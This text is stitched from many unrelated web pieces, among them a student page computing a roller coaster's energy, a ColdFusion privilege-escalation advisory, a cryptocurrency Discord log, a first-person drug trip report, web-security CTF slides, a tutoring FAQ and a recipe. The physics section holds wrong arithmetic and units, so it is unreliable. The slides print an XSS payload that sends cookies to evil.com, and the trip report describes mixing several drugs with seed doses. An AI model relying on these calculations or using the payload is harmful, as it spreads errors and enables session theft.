Kinetic energy is the energy that is produced when an object is in motion.
Kinetic energy is measured in joules and the formula is K=0.5mv2. (m=mass & v=speed)
For most of Untamed you are moving. During that time you have always changing amount of kinetic energy.
Inorder to be able to calculate the kinetic energy, we need to get two things. First we need the speed and the weight of the
vehicle's weight. From previous calculations, we know the the speed is 44mph at its max and from our sources, we know that
the weight of the vehicle is 435kg. We can now use the formula for kinetic energy (K=0.5mv2) to get the max kinetic energy
for Untamed. Untamed's kinetic energy is:
In order to figure out the Kinetic energy, we need to use the formula: K=0.5mv2
Steps:
1. K = 0.5 x 435 x 442
2. K = 0.5 x 435 x 1,936
3. K = 0.5 x 842,160
4. K = 421,080J
Potential energy is the energy an object prossesses by virtue of its position in a feild. Two examples of such feilds
are gravitational and electrical. The formula for potential energy is P.E.=mxgxh (m=mass in kg, g=gravitational acceleration,
h=height)and it is measured in joules (J).
Even though most of the ride is moving, there are some brief moments when the ride stops (or comes close to stopping).
One big example of this is when the ride is at the top of the vertial climb right before it goes down at 97 degrees. From collected data, we know
that the car's weight is 435kg and that the height is 72ft at that point. So when you put this into the formula, you get the following potential energy:
In order to figure out the Potential energy, we need to use the formula: P.E.=mxgxh
Steps:
1. PE = 435 x 1 x 72
2. PE = 435 x 72
3. PE = 307,144J


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Below you can download some Linux tools that have been compiled for Windows care of the GnuWin32 project. These are some common tools I use on Linux all the time and find very useful for use on Windows as well.
I grabbed most of the builds from the GnuWin32 project. I prefer to use just this minimum set of tools instead of installing lots of packages from the GnuWin32. I also don't use the Cygwin set because you have to manage conflicts with the cygwin.dll.
The current assembly date for these packages is July 31, 2017.
Binaries - LinuxTools.7z
Source - LinuxTools - src.7z
Download 7-zip to open the archives - http://www.7-zip.org/


Leaping lizards, this frog is hungry! Help him catch some flies before they fly away and protect him from raining lilypads!
2) Make the frog move in all directions when the arrow keys are pressed.
3) Draw a line to make the frog's tongue. Start the line at the frog's position.
4) Make the starting position of the frog's tongue always be the same position as the frog. Send the tongue back a layer.
6) When the space key is released, make the frog's tongue shrink back towards the frog until it is at its original position.
7) If the frog's tongue reaches the top of the screen, make it go back to where it started.
8) Create a fly sprite, and place it on the left side of the screen in a random spot.
10) If the frog's tongue touches the fly, bring the fly back to another random spot on the left side of the screen and have it move across the screen again.
11) Create a score variable that goes up every time the frog's tongue touches a fly. Display the score on the screen.
12) Create a lilypad sprite that falls from a random spot at the top of the screen. When it reaches the bottom, make it go back to a random spot at the top and fall again.
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CVE-2020-10145 - Adobe ColdFusion
Name of Data Breach/Vulnerability: Adobe ColdFusion is vulnerable to privilege escalation due to weak ACLs
TAI SOC Advisory Number/ID: TAISOC/1/02/02/2021
Date Issued: 2nd February, 2021
Overview:
Adobe ColdFusion fails to properly set ACLs, which can allow an unprivileged Windows user to be able to run arbitrary code with SYSTEM privileges.
Description:
The Adobe ColdFusion installer fails to set a secure access-control list (ACL) on the default installation directory, such as C:\ColdFusion2021. By default, unprivileged users can create files in this directory structure, which creates a privilege-escalation vulnerability.
Impact:
By placing a specially-crafted DLL file in the ColdFusion installation directory, an unprivileged user may be able to execute arbitrary code with SYSTEM privileges on a Windows system with the vulnerable ColdFusion software installed. See DLL Search Order Hijacking for more details.
Solution:
Use the Server Auto-Lockdown Installer By default, ColdFusion does not configure itself securely. In order to secure ColdFusion with respect to service privileges, ACLs, and other attributes, the ColdFusion Server Auto-Lockdown installer must be installed in addition to installing ColdFusion itself.
Mitigation steps will vary based on the version of ColdFusion being used:
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ColdFusion 2016: Apply the changes outlined in the ColdFusion 2016 Lockdown Guide. ColdFusion 2018: Run the ColdFusion 2018 Auto-Lockdown installer and ensure that it completes without error.
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ColdFusion 2021: Run the ColdFusion 2021 Auto-Lockdown installer and ensure that it completes without error.
Acknowledgment:
This vulnerability was reported by Will Dormann of the Carnegie Mellon University CERT/CC.
References
- https://helpx.adobe.com/coldfusion/user-guide.html/coldfusion/using/server-lockdown.ug.html
- https://wwwimages.adobe.com/content/dam/acom/en/products/coldfusion/pdfs/coldfusion-2016-lockdown-guide.pdf
- https://www.adobe.com/support/coldfusion/downloads.html#cf2018ldg
- https://www.adobe.com/support/coldfusion/downloads.html#cf2021ldg
Other Information:
CVE IDs: CVE-2020-10145
NOTE: We have not received information from the vendor


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How to offset your carbon footprint - 7 ways to reduce your impact on the environment
Climate change is the biggest challenge to face the human race in the modern world, but there are ways in which we can help by reducing our own carbon footprint
by Lewis Knight, Daisy Naylor, https://www.mirror.co.uk/authors/lewis-knight/, https://www.mirror.co.uk/authors/daisy-naylor/Conversation around the globe is rightly turning to ways in which we can all try to better our environment and ensure we leave a better world for generations to come.
Environmentalist campaigners such as Greta Thunberg have led the way in discussing how we can try to prevent climate catastrophe as we see further examples of declining Arctic Sea, increasing numbers of extreme weather events and warming oceans.
While it may seem too large a job for one person, we can all help to contribute to making a difference in our own small ways.
Making some minor changes to our daily lives and routines will dramatically offset your own personal carbon footprint and ultimately add to making a huge difference for our environment.
Ways you can reduce your carbon footprint
1. Stop eating meat (or just eat less)
Cutting down on your meat consumption can make a huge difference to your carbon footprint.
Farming beef produces 20 times the emissions as farming beans, and requires 20 times as much land.
If you really can't give up your Sunday roast, choosing poultry instead of red meat is much better for the environment, with chicken believed to have the lowest carbon footprint.
2. Switch off and unplug devices
Anytime a device is plugged into a socket it's using up energy - even if it's powered down or already fully charged.
Instead of leaving your phone or other devices plugged in overnight, disconnect as soon as you hit 100%, and you'll reduce both your carbon footprint and your energy bill.
3. Cut down on single use plastic
There are more and more zero waste stores where you take your own containers to be filled with groceries - whether it's pasta, oil or coffee.
If you don't have a convenient zero waste store, you can still cut down on unnecessary plastic. You can take your own bags to the supermarket, use "shampoo bars" instead of buying bottles, or invest in a reusable coffee cup.
4. Drive your car less
Using public transport, cycling or walking instead of driving can have a significant impact on your CO2 emissions. Reducing your mileage from 15,000 to 10,000 miles a year could reduce your carbon footprint by around 15 percent.
If you're in the market for a new car, consider a more efficient electric vehicle.
5. Dry your clothes naturally
It's faster and easier to use a tumble dryer or dry on a radiator. However, this uses up valuable energy when some basic organisation makes this unnecessary. Instead, hang your clothes up on the line.
6. Buy less fast fashion
It can take up to 20,000 litres of water to make just one new t-shirt and one new pair of jeans. That's more water than the average person drinks in 12 years.
Consider buying your clothes second hand, or invest in pieces that will last for years.
7. Fly less
One return flight from London to New York emits 0.67 tonnes of CO2 per passenger - which is a whopping 11 percent of the total average annual emissions of someone living in the UK.
It can be hard to find alternatives to flying - especially when you're going long-haul - but cutting back on air travel will make a huge difference to your carbon footprint.


Pirate (ARRR) is a cryptocurrency that solves the issue of financial privacy on the blockchain through forced anonymous transactions. Protect your wallet and transactions with Pirate’s completely anonymous network. With forced private transactions, your privacy cannot be compromised by another users’ activity on the network. If you wish to learn more, please join the official Pirate Discord at https://pirate.black/discord/ or message FishyGuts#5085, who will be happy to help out.
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LoPhatMelk10-Nov-18 01:09 PM
the price has no reason to go up without buyers, just from a market standpoint.
mrlynch10-Nov-18 01:09 PM
I'm just a face in the crowd and the crowd is f8ckin yuuuuge
ComputerGenie 👴👴👴10-Nov-18 01:09 PM
or arrr becomes not profitable for dumping miners <- that was weeks ago, but they like that $5 and it's "good money" to them
mrlynch10-Nov-18 01:09 PM
Lol. It's still the most profitable coin to mine on equihash ;)
LoPhatMelk10-Nov-18 01:10 PM
and the reason they are mining and dumping
ComputerGenie 👴👴👴10-Nov-18 01:10 PM
the price has no reason to go up without buyers, just from a market standpoint.
There are buyers, the daily volume is more than 40% of every coin mined that day
and the reason they are mining and dumping <- because they can't math or market
V__C10-Nov-18 01:10 PM
Guys is this a pool address? R9trkkkWATReUPSJQRcm3nWN4U8Y7FoLD1
LoPhatMelk10-Nov-18 01:10 PM
lol calm down guys, no need for name calling just having a conversation here haha.. I'm not a know it all, still learning every day.
BlockTech10-Nov-18 01:10 PM
I'm joking of course
But yes, there is buyers, we are just waiting to bottamed out.
LoPhatMelk10-Nov-18 01:11 PM
Yea I guess I just thought it had found a floor, but it looks to go down more with these dumpers.
 When gpu miners and small asic miners started mining at a loss, they've dumped their stashes and walked away, making room for the hodlers to trade appropriately. Then all the hype with silk road & co came about and brought the wales in
Guess what happened with those stupid, short sighted dumpers (meself included) - they kicked themselves in the nuts
ComputerGenie 👴👴👴10-Nov-18 01:14 PM
passed on a group buy of GPUs when BTC was young because he thought it was "just another fad like MySpace"
mrlynch10-Nov-18 01:14 PM
@ComputerGenie 👴👴👴 i feel the pain
LoPhatMelk10-Nov-18 01:14 PM
you and me both genie
FishyGuts10-Nov-18 01:14 PM
I wish I could say more for you guys. We working.
mrlynch10-Nov-18 01:14 PM
You passed on the group buy. I had the coins in my wallet
V__C10-Nov-18 01:15 PM
@ComputerGenie 👴👴👴 please can you shed some light on this - is it a pool address? R9trkkkWATReUPSJQRcm3nWN4U8Y7FoLD1
mrlynch10-Nov-18 01:15 PM
We know you are @FishyGuts
FishyGuts10-Nov-18 01:15 PM
@JiuCrypto I’ll get to the catoshi thing. I am wrapping up the flash Gordy interview.
V__C10-Nov-18 01:15 PM
Mined 15M arrr
FishyGuts10-Nov-18 01:15 PM
We all at @mrlynch - it’s great to go on twitter and see people talking and answering.
BlockTech10-Nov-18 01:15 PM
And you're doing an amazing work, we are all thankfull for your devotion to this project
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FishyGuts10-Nov-18 01:15 PM
It’s great to see you guys in here.
ComputerGenie 👴👴👴10-Nov-18 01:15 PM
@V__C looks like it
FishyGuts10-Nov-18 01:16 PM
Yes the price is down... it happens when new coins get listed very commonly.
Dumpers be dumpin
BlockTech10-Nov-18 01:16 PM
And that's a good news ! (for buyers <3)
FishyGuts10-Nov-18 01:16 PM
Got some new things in the works. And an actual way to use and lose your ARRR coming sooner than later.
mrlynch10-Nov-18 01:17 PM
I'm not on twitter nor fb so i'm trying to help here as much as i can. Part of the job i believe it to be keeping the young, eager pirates in high spirits
LoPhatMelk10-Nov-18 01:17 PM
pirate dice? hehe
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Id love to see huge adoption on the deep web for pirate, I really think the demand will drive the price up from that alone.
V__C10-Nov-18 01:18 PM
15M mined - perhaps they be dumping? @ComputerGenie 👴👴👴
jl777c10-Nov-18 01:19 PM
pool address
ComputerGenie 👴👴👴10-Nov-18 01:19 PM
piratepool.io, judging by the blocks
V__C10-Nov-18 01:20 PM
FishyGuts10-Nov-18 01:20 PM
If someone wants to figure out pirate dice @LoPhatMelk go for it!
I can’t being in the US and based on other future things I want to do with the project.
LoPhatMelk10-Nov-18 01:20 PM
haha @FishyGuts
FishyGuts10-Nov-18 01:20 PM
Serious!
Think you can’t play with ARRR tho.
LoPhatMelk10-Nov-18 01:21 PM
Im in the US too :/
FishyGuts10-Nov-18 01:21 PM
I would not love to see a huge adoption on the deep web. I would prefer a legitimate up front marketplace with legitimate items and goods for sale.

I’ll hit y’all up later.
Girlfriend won’t let me donate. Says there’s too much money there.
LoPhatMelk10-Nov-18 01:22 PM
Sounds good brother
FishyGuts10-Nov-18 01:23 PM
Arrrrr payments going out by the end of the day. I will DM you all. The ones for 25 - 100 were sent out. Here weren’t too many. Most of you did 6-8 days.
mrlynch10-Nov-18 01:30 PM
Good luck with the sale @FishyGuts may your endeavours be profitable
wookie10-Nov-18 01:31 PM
@FishyGuts be sure to check any hard drive for forgotten btc before selling them in your garage sale!
(Hope your leg is all healed up too!)
V__C10-Nov-18 01:32 PM
@FishyGuts Legend
LoPhatMelk10-Nov-18 01:37 PM
I pulled my asks, not giving away my hard earned pirate #vivaleresistance!
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7800 pirate up for sale up to .000017, if someones got some free btc
Quarterback10-Nov-18 01:46 PM
Which special Pool i have to Join, while Piratepool.io give no rewards?
ComputerGenie 👴👴👴10-Nov-18 01:53 PM
@Quarterback you must first learn the secret handshake
This be wut Crypto is all about lads 'n lasses. We's a fraternity of brothers 'n sisters just troyn ta see oar way clear ta make sumthin' oata tha mess they done made 'f oar own civilizashun. If'n i be not ere wit ye, I be rather ded! https://t.co/M79YIhBt9b #pirate @Pirat...
@KimDotcom Hi @KimDotcom still working on MegaUpload 3.0 ? It might be worth to integrate with @PirateChain You won't regret if you give it 5 min read.
Yes please PANIC sell now dump everything it's the end, pirate deded.
We found a nice resistance level, let's see how many time it will bounce.
radix4210-Nov-18 06:12 PM
Omg so duke Leto has been offline because it’s 1) his wife’s birthday and 2) they’re at a wedding, so he JUST noticed all the madness of twitter that started last night and is going to commence shitposting
Flexatron10-Nov-18 06:31 PM
Whut
Cryptoon10-Nov-18 06:33 PM
Link to shitposting?
Flexatron10-Nov-18 06:35 PM
Btw all that's said above is mentioned in my article
It's because sapling tx's shows number of inputs and outputs
since all 99.99% of tx's are going through z-addresses? excluding the mining pools
Flexatron10-Nov-18 06:46 PM
New Sapling transactions are different. They clearly show the number of inputs and outputs used. This helps isolate the type of shielded transactions sent.
A little context. Previous research has identified most of the shielded pool as related to "mixing." Users send a specific amount to the shielded pool and back to the transparent pool a short time later. Research has shown heuristics can help trance transactions by following their amounts.
Researchers and attackers now will have an additional method of tracing transactions, since these "mixing" transactions will typically follow a specific behavior. It will look as follows:
User sends any number of transparent inputs to one shielded output
User may optionally make fully-shielded transactions from one shielded input to one shielded output
User sends one fully-shielded output to one or two transparent inputs.
While there can be some variation depending on user behavior, this is approximately what will happen for most cases. This is distinctly different than most transactions, eg: with a merchant. This would look like one or more shielded inputs going to two shielded outputs. Thus, a researcher or attacker could look for transactions that either:
Use more than one shielded input, or
Use more than one shielded output
to determine a set of fully-shielded transactions that are likely not involved with mixing. If a transaction is 1-in and 1-out, then there is strong evidence this transaction is associated with mixing, unless a sender is sending the full value of only one of their outputs and receiving no change (unlikely to happen unless they shielded only the exact amount needed for the purchase, which would be likely subject to amount heuristics)


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by https://www.facebook.com/CheerfulpraiseAugustine Ehikioya, Abuja
President Muhammadu Buhari on Monday met with the Bayelsa State Governor-elect, David Lyon at the Presidential Villa, Abuja.
Lyon was declared winner of the November 16 governorship election in the State.
He won with 352,550 votes against 143,172 scored by the Peoples Democratic Party (PDP) candidate Douye Diri.
Lyon was accompanied to the Villa by the Chairman All Progressives Congress (APC) governorship campaign and Jigawa State Governor, Abubakar Badaru, Governor of Kebbi State, Atiku Bagudu and the Minister of State for Petroleum, Timipre Silver.
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For the last year, as a senior in HS, I have been smoking at least twice a day. Being a marijuana smoker for 3 years now, I have begun to experiment with other drugs. In terms of ideals, I don't try to romanticize my 'habits' too much.
I have done psilocybe (sp?) mushrooms six times, ecstacy (took 2 pills which had the word 'ferrari' in their names), and acid once. I feel that though I have limited experiences with psychadelics, I have a decent understanding of how long a sensation is supposed to take, its intensity that it can reach, etc.
I have sought to 'trip' three times now through the eating of Voacanga Africana seeds. I purchased them online. Sadly, I see now why there's a shortage in experience reports. There's not much to be excited about in terms of taking it alone.
On my first encounter, I ate about 60 seeds but had already taken 3 grams of Psilocibe mushrooms, 2 ecstacy pills, .3 cocaine (about 3 lines), smoked several bowls, etc. Basically it's very difficult for me to judge what was doing what. I took the seeds near the 'peek' of my trip, only to feel an even worse nausea.
My second time, I fasted for 8 hours before taking them. I grinded 40 seeds in an attempt to get rid of the supposed poison the seeds contain. I also ate 40 normal ones just in case the grinded seeds might not work (I am supersticious like that). I smoked a couple of bong bowls of some headies (supposedly Sour Diesel), and then sat for a couple of hours with a friend. Nothing happened past a weed buzz. The next day, however, my friend reported lucid dreams the likes of which he had never had before. At this point it would be prudent to note that he doesn't smoke weed more than two-three times a year.
Today I took 120 seeds. I had not smoked any pot in two days nor taken anything else. I fasted from 9am to 4pm when I took them. Trip went as follows:
0 h (4:00 PM) : Ate 120 seeds in 2 mins and followed up by drinking a big cup of orange juice.
.5 h: Weird physical sensation similar to waiting for a shroom trip to kick in.
1 h : Feel a mild mind buzz similar to when I smoke a cigarette (I don't smoke cigarettes). No distortion in perception.
2 h : Lots of tingling in the head. Fast thoughts, similar to a avg dose of ritalin (again I don't take ritalin on any kind of basis, I've merely tried it a few times). Better concentration.
3 h : Horrible nausea envelops me. Mild physical and mental buzz continues (less potent than weed).
4 h : Nausea continues.
10 h : Hunger returns from a day of no food.
All in all, pretty lame.
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Slides at: github.com/bitskriegofficial/web-security-1Implementation bugs (HTTP/Disallowed files/robots.txt/humans.txt)
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Client side
1. Browser makes a request to google.com
2. Your OS asks DNS resolvers about google.com
3. DNS resolver says to your OS -> <IP_ADDRESS>
4. Browser connects to <IP_ADDRESS>
5. Your ISP sends a request to <IP_ADDRESS>
6. The server at <IP_ADDRESS> receives the request and responds with data on same public IP
7. Your ISP receives the response, and transmits it back to your private IP address.
8. Your browser executes the responded HTML/CSS/JS if any and performs further requests.
HTTP headers is the standard way to make the initial communication with backend. This includes telling server about cookies, user agent, etc.
Server in return can respond with certain HTTP headers which are then respected by the browser
Here's a simple example from GMail
Cookie stealing can be done with combination of attacks like XSS/MITM
<img src=x onerror=this.src='http://evil.com/?c='+document.cookie>
And the backend..
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You need to have a good grasp on a network intercept tool
Burpsuite is a popular choice among hackers
You could also use Chrome Dev Tools
Let's look at some CTF questions first
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http://2018shell.picoctf.com:18342
Spoiler alert: It's too bad
They're different, but have a lot in common
CTFs are targeted to extract data from the other end, in real world you could have literally anything to aim
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by Staff WriterLOTTERYWEST is still waiting to hear from a missing division one winner from the November 2 Superdraw.
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- Reviewability for professional consultants means that the data is always avaible with the freshest forms and with up-to-date documentation, instead of ad hoc spreadsheets collected, modified and overwritten by junior staff. The usual error-prone work that junior staff does is done by our observatory system automatically, and all the latest spreadsheets are available for all staff.
- Reviewability in a scientific context means that our observatory systems produce the research data in a well-documented format that adheres to the expectation of social scientific and management science peer-review.
- Reviewability in data journalism means that all the data is automatically refreshed and present for journalistic and editorial source-checking and analysis.
Reproducibility means that we are providing data products and tools that allow the exact duplication of our results during assessments. The most important aspect of our reproducibility is that we make the entire statistical program code either fully open source, or make the entire algorithm available for our clients. From the raw data that they give us, or we collect for them, they can arrive step-by-step to the same indicator or KPI values. Reproducibility ensures that there is no lock-in to our applications. You can always chose a different data and software vendor, or compare our results with them.
- Reproducibility in a consulting context means that our data is well-processed and described, and a senior analyst can re-create it, or even modify it to the organizations needs.
- In a scientific context it means that other researchers can reproduce the scientific findings which are supported by our data, because it is of high quality, well formatted and documented.
- In data journalism this means that journalist can reliably follow leads and sources over a longer period of time.
We are creating applications that are confirmable and auditable. These are usually required by the ethical guidelines and professional standards of our users.
Confirmability means that using our applications findings leads to the same professional results as other available software and information. Our data products use the open-source statistical programming language R. We provide details about our algorithms and methodology to confirm our results in SPSS or Stata or sometimes even in Excel or OpenOffice. Confirmability is often a requirement of various ethical guideleins and professional standards that our clients must adhere to in the legal, economic or policy-making professions.
- Reproducibility in a consulting context means that our data is well-processed and described, and a senior analyst can re-create it, or even modify it to the organizations needs. They can confront the data with their qualitative results or parallel information bases.
- In a scientific context it means that other researchers can reproduce the scientific findings which are supported by our data, because it is of high quality, well formatted and documented. If any issues are raised with scientific confirmation, we assist our scientific partner to amend, replace or correct the problematic data.
- In data journalism this means that journalist can reliably follow leads and sources over a longer period of time. We review the entire data pipeline if our journalistic partners find contrary evidence or red flags with our data sources.
Auditability means that our data and software is archived in a way that external auditors can later review, reproduce and confirm our findings. This is a stricter form of data retention that most organizations apply, because we do not only archive results step-by-step but all computational steps – as if your colleagues would not only save every step in Excel but also their keystrokes. While auditability is a requirement in accounting, but we are extending this approach to all the quantitative work of a professional organization in an advisory or consulting capacity.
- Auditability means that we are following professional guidelines and standards of various statistical, accounting, national accounting and other professional bodies to develop our indicators and data products, and we allow auditors to review not only our data, but the entire history of the data processing, including key elements of our software code, and our general methodology.
- Auditability means for us that we make our critical methods and software code available for peer-review both as a software on CRAN and as a statistical method in an appropriate, peer-reviewed journal.
- In a data journalism context our data products can be subject to full editorial and journalistic review, from source to publication.


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public interface XBLManager
An interface for classes that can manage XBL functionality for a document's nodes.
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Element |
getXblBoundElement(Node n)
Get the bound element whose shadow tree a node resides in. |
NodeList |
getXblChildNodes(Node n)
Get the list of child nodes of a node in the fully flattened tree. |
NodeList |
getXblDefinitions(Node n)
Get the xbl:definition elements currently binding an element. |
Node |
getXblFirstChild(Node n)
Get the first child node of a node in the fully flattened tree. |
Element |
getXblFirstElementChild(Node n)
Get the first element child of a node in the fully flattened tree. |
Node |
getXblLastChild(Node n)
Get the last child node of a node in the fully flattened tree. |
Element |
getXblLastElementChild(Node n)
Get the last element child of a node in the fully flattened tree. |
Element |
getXblNextElementSibling(Node n)
Get the first element that follows a node in the xblParentNode's xblChildNodes list. |
Node |
getXblNextSibling(Node n)
Get the node which directly follows a node in thexblParentNode's xblChildNodes list. |
Node |
getXblParentNode(Node n)
Get the parent of a node in the fully flattened tree. |
Element |
getXblPreviousElementSibling(Node n)
Get the first element that precedes the a node in the xblParentNode's xblChildNodes list. |
Node |
getXblPreviousSibling(Node n)
Get the node which directly precedes a node in the xblParentNode's xblChildNodes list. |
NodeList |
getXblScopedChildNodes(Node n)
Get the list of child nodes of a node in the fully flattened tree that are within the same shadow scope. |
Element |
getXblShadowTree(Node n)
Get the shadow tree of a node. |
boolean |
isProcessing()
Returns whether XBL processing is currently enabled. |
void |
startProcessing()
Starts XBL processing on the document. |
void |
stopProcessing()
Stops XBL processing on the document. |
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void startProcessing()
void stopProcessing()
boolean isProcessing()
Node getXblParentNode(Node n)
NodeList getXblChildNodes(Node n)
NodeList getXblScopedChildNodes(Node n)
Node getXblFirstChild(Node n)
Node getXblLastChild(Node n)
Node getXblPreviousSibling(Node n)
Node getXblNextSibling(Node n)
Element getXblFirstElementChild(Node n)
Element getXblLastElementChild(Node n)
Element getXblPreviousElementSibling(Node n)
Element getXblNextElementSibling(Node n)
Element getXblBoundElement(Node n)
Element getXblShadowTree(Node n)
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2023-09-07 CNS, neurons, and methods lecture-notes Notes on the CNS Notes on neurons Video overview of CNS Anatomy lab: intro to CNS Anatomy lab: Cortex


General
- How does QuickPrep differ from other tutoring centers?
- Where is QuickPrep?
- What sort of programs does QuickPrep offer?
- How will QuickPrep prepare students for their exams?
- What sort of payment plans does QuickPrep offer?
Unlike other tutoring services, our small number of customers allows us to offer more customized and personalized analyses of student's progress through his or her time in QuickPrep. A smaller base also means more resources available per student; each student gets direct access to a tutor who has been through the college process already. In addition, top performing students in the summer program receive complimentary access to a tutor for college admissions guidance at a reduced price.
QuickPrep is a tutoring agency that pairs up students with tutors. Each summer, we hold a group program for the SHSAT exam at the National Opera Center's facilities, which is located at 330 7th Avenue, between 28th & 29th Streets.
We offer tutoring programs for SHSAT, AP®, SAT®, SAT Subject Tests™, and ACT®. For every test, we have an individual program in which each student is paired with one of our tutors. For the SHSAT, we offer a group program each summer. For more information, please check out our programs. Note, we do not currently cater to all AP® or SAT Subject Test™ courses; for a complete list of subjects we cover on these exams, please refer to these lists: SAT Subject Tests™ AP® Exams
We initially diagnose students to see what concepts they mastered and which concepts need work. After we determine the areas students don't need help on, we shift focus to areas that students do.
During our sessions, we first give a short lesson, followed by a practice round in which each student does practice problems with tutors. If students do not understand concepts, tutors individually assist them in the practice rounds.
Occasionally, a session is dedicated to practice tests in which students take an exam in simulated testing conditions. This exam allows us to gauge and report student progress and further expand on what problems need to address in the next few sessions.
We understand money does not grow on trees, so we offer several ways to pay for our programs.
If you choose to enroll in QuickPrep's Individual Prep Programs, you may choose to pay by the session and have an invoice mailed to you or pre-pay for a certain number of sessions and receive a 10% discount if the total time exceeds 8 hours
If you choose to enroll in QuickPrep's Group Prep Program, you may choose to pay by the session and have an invoice mailed to you, pre-pay for the entire program and receive a $160 discount, or pay half as down payment and pay the remaining balance halfway into the program.
SHSAT Summer Group Prep
- Do you guys have a plan/syllabus for this program?
- What materials will QuickPrep use?
- How long is the summer group program?
- How many students will be in the summer group program?
Yes, we do! You can check it out over here: SHSAT Summer Group Prep Syllabus
We will be using a mix of previous year SHSAT and custom made exams for practice tests and practice questions. We will be using Barron's NYC SHSAT 3rd edition to guide our lessons and SHSAT Practice Tests: TJHSST Edition for supplementary materials and additional practice questions.
The SHSAT Summer Group Prep is a 96 Hour course that will be held from July 11 to August 18. The program will be held Monday-Thursday from 10AM to 2:30PM.
Our goal at QuickPrep is to ensure a high level of personal attention for students. In order to do this, we cap our group programs at 15 students per season. We usually expect between 12-15 students per season, but in the off chance that less than 8 students register before our registration deadline, we provide the registered students with 96 hours of Individual Prep for their respective exams.
Individual Prep
- What sort of programs are available for Individual Prep?
- What subjects are covered in Individual Prep for SAT Subject Test™?
- US History
- World History
- Math Level I
- Math Level II
- Biology E/M
- Chemistry
- Physics
- Spanish
- What subjects are covered in Individual Prep for AP® Exams?
- Psychology
- US Government & Politics
- US History
- World History
- Calculus AB
- Calculus BC
- Biology
- Chemistry
- Physics C: Electricity & Magnetism
- Physics C: Mechanics
- Physics 1: Algebra-Based
- Physics 2: Algebra-Based
- If I registered for Individual Prep, does the study session have to be at my house?
- If I registered for Individual Prep at a certain time but I cannot make it, can I cancel/change the registration?
We offer Individual Prep for SHSAT, AP®, SAT®, SAT Subject Tests™, and ACT®. For more information, please check out our programs. Note, we do not currently cater to all AP® or SAT Subject Test™ courses; for a complete list of subjects we cover on these exams, please refer to these lists: SAT Subject Tests™ AP® Exams
We cover a broad range of subjects for SAT Subject Test™, including:
We cover a broad range of subjects for AP® Exams, including:
No, it does not have to be at the client's house. The study session's location can be negotiated as long as your tutor agrees to the location as well. We usually try to not change the location of the study session one to two hours prior because our tutors usually leave time to commute.
As long as we are notified one to two hours prior, you may cancel or change the registration. You will not be billed for the cancelled registration if you were paying via invoice; however, if you were on a prepaid plan, your cancelled registration will be credited for another session.


Most computer scientists do not have the resources to use neural networks
We have access to state of the art supercomputing clusters at the federal Argonne National Laboratory. It is designed for nuclear and high energy physics simulations.
Access to multibillion dollar supercomputers like Argonne is only available to large corporations and select top universities.
In addition to access itself, operating such supercomputers requires expertise regular developers don't posses.
Kogito also allows students to learn English vocabulary for various English exams, such as the TOEFL, Japanese High School Entrance Exam, and the TOEIC, by exploring the relationships between words from those test specific domains.


+++ title = "Walking in Steveston" slug = "walking-in-steveston" date = 2007-03-31T12:00:00+10:00 tags = ["tasty", "chilled"] locations = ["canada/vancouver"] draft = false summary = """
For my final few hours in Vancouver this afternoon, Genna took me on a little tour of the Steveston Village area. This is a beautiful little wharf and seafood spot, nestled at the very bottom of Richmond Island, and overlooking the Gulf of Georgia. It's also apparently the oldest part of Vancouver. This is where Vancouver started, as little more than a modest fishing village. There are great restaurants, great cafés, and great ice-cream shops along the boardwalk here.
""" +++For my final few hours in Vancouver this afternoon, Genna took me on a little tour of the Steveston Village area. This is a beautiful little wharf and seafood spot, nestled at the very bottom of Richmond Island, and overlooking the Gulf of Georgia. It's also apparently the oldest part of Vancouver. This is where Vancouver started, as little more than a modest fishing village. There are great restaurants, great cafés, and great ice-cream shops along the boardwalk here.
{{< galleryphoto "2007-03-31-12-00-00--genna-and-myself-at-the-wharf.jpg" >}}Got some real tasty ice-cream on the wharf here. Also looked through some of the souvenir shops, and got myself a few funny Canadian fridge magnets.


Preparation time
overnight
Cooking time
30 mins to 1 hour
Serves
Makes 12 of each bun
Dietary
Two for one with this recipe – use half of the dough to make fresh peach buns ‘blushed’ with edible dusting powder and the rest for deliciously sticky pecan buns.
Equipment and preparation: you will need two 12-cup muffin trays and a free-standing mixer fitted with a dough hook.
For the dough, place the flour, sugar, salt and yeast into the bowl of a free-standing mixer fitted with a dough hook.
Add the milk, almond extract and eggs and mix slowly for a couple of minutes, then increase the speed and continue to mix for another five minutes or so, or until the dough has come together and is smooth and elastic.
Add the softened butter and continue to mix for another five minutes, making sure all the butter is incorporated.
Transfer half of the dough into another bowl, cover with oiled cling film and put it in the fridge overnight. (This is the dough for the German sticky pecan buns).
For the peachy buns, add a few drops of peach essence to the remaining dough and give this a final mix, before you cover it and put it in the fridge overnight.
Make some marzipan by sifting together the icing sugar and ground almonds in a bowl, then mix in the egg. Add a few drops of almond extract. Knead on a surface dusted with icing sugar until smooth, then wrap in cling film and chill in the fridge until you need it.
Tip the peachy bun dough onto a floured surface and gently knock it back. Divide the dough into 12 equal pieces each weighing about 60g/2¼oz.
Using a melon baller, make 12 balls of peach.
Divide the marzipan into 12 equal pieces and roll into balls. Flatten each into a disc. You will need each disc of marzipan to be at least twice as big as the ball of peach so that it encases it completely. You're basically creating a little marzipan bag for each ball of peach - a bit like a wonton.
Using floured hands, flatten the 12 pieces of dough and place a ball of marzipan-coated peach in the centre. Gently wrap the dough around the marzipan and peach.
Place each bun, seam-side down, into the hole of a 12-cup muffin tray – leaving each muffin cup alternately empty. (You should have six buns in each 12-hole tray, with empty spaces between). Cover with a clean tea towel and leave to prove for about an hour.
Preheat the oven to 190C/fan oven 170C/375F/Gas 5.
Take twelve sturdy metal tablespoons and place their handles across each bun, with the bowls of the spoons resting in the vacant holes of the muffin trays. This will reproduce the natural cleft of a peach as the buns bake. Bake the buns for about 20-25 minutes, then transfer to a wire rack to cool.
When the buns are cool, dust them with the vanilla sugar, gently apply a ‘blusher’ of pink and yellow edible powder with a brush and use the angelica to create ‘leaves’. (Because it's candied, the angelica is already a bit sticky so you can just place the leaves into the dimple of the buns. However, you can also gently push one pointed end of the leaf shape just into the surface of the bun to make sure it won't move.)
For the German sticky pecan buns, mix the pecans with the maple syrup, hazelnut butter, vanilla bean paste and hazelnuts in a bowl to form a rough paste.
Tip the dough onto a floured surface and gently knock it back. Roll and shape the dough to form a rectangle about 25 x 35cm/10 x 14in long.
Spread the pecan paste over the dough, and then carefully roll up, long side first, into a sausage shape.
Tidy up the roll by slicing off and discarding the two end pieces and then cut the roll into 12 equal slices. Carefully transfer the buns to two lined baking trays, leaving plenty of space in between. Cover with a clean tea towel and leave to prove for about one hour.
Preheat the oven to 180C/fan oven 160C/350F/Gas 4.
When risen, sprinkle the buns with pearl sugar and bake for about 25 minutes.
